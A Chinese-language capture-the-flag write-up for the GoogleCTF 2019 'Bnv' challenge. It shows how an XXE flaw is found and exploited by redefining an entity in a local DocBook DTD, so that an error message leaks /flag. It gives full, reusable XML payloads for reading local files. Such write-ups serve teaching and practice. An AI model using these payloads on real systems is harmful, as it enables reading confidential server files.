GoogleCTF2019 Quals Bnv

  1. 做题步骤
    1. 1.拿到题目点击submit抓包
    2. 2.尝试测试本地存在的文件
    3. 3.读取flag文件
  • 参考
  • 考点:通过xml的参数实体的路径爆错读取敏感信息

    知识点:参考

    016fcf2a5f084804a136fa9e36c91dd2

    这是不同系统本地可能含有的dtd文件,例如linux可能存在/usr/share/yelp/dtd/docbookx.dtd
    并且该dtd中引用了一个ISOamsa参数实体,因此我们可以定义ISOamsa的内容进行某些攻击。

    做题步骤

    1.拿到题目点击submit抓包

    image-20230315164343116

    发现是json格式的post上传,尝试是否可以用xml格式上传数据:

    Content-type: application/xml
    
    POST:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE message [
    <!ELEMENT message ANY >
            <!ENTITY test "135601360123502401401250" >
        ]>
    <message>&test;</message>
    

    image-20230315165043545

    成功回显,说明可能存在XXE漏洞

    2.尝试测试本地存在的文件
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE message [
    <!ELEMENT message ANY >
            <!ENTITY test "135601360123502401401250" >
            <!ENTITY % a SYSTEM "file:///flag" >
            %a;
        ]>
    <message>&test;</message>
    

    image-20230315165859864

    image-20230315170000249

    可以发现,如果该文件存在时返回internal error,说明,文件被加载了,但是被xml中断了。因此flag存放在根目录下,接下来就要考虑如何读取。

    3.读取flag文件

    原理:8e9c8046011b9

    xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。而在题目中,读取了一个错误的实体,会返回完整的实体名。

    56f7dc917b9ff

    假设第一次读取**/flag实体,第二次把/flag的里的值当做实体来读取,明显/flag的里的值**这个实体不存在,然后就会报错返回,这样就拿到flag了。

    接下来构造payload:

    对实体内%,' ,& 进行unicode编码防止报错,其中&#x25表示chr(0x25)的意思。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE message [
    <!ELEMENT message ANY >
            <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" >
    <!ENTITY % ISOamsa '
    <!ENTITY &#x25; flag SYSTEM "file:///flag">
    <!ENTITY &#x25; getflag "<!ENTITY &#x26;#x25; test SYSTEM &#x27;file:///aa/&#x25;flag;&#x27;>">
    &#x25;getflag;
    &#x25;test;
    '>
    %local_dtd;
    ]>
    

    image-20230315172505069

    参考

    [GoogleCTF2019 Quals]Bnv

    [GoogleCTF2019 Quals]Bnv -S


    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com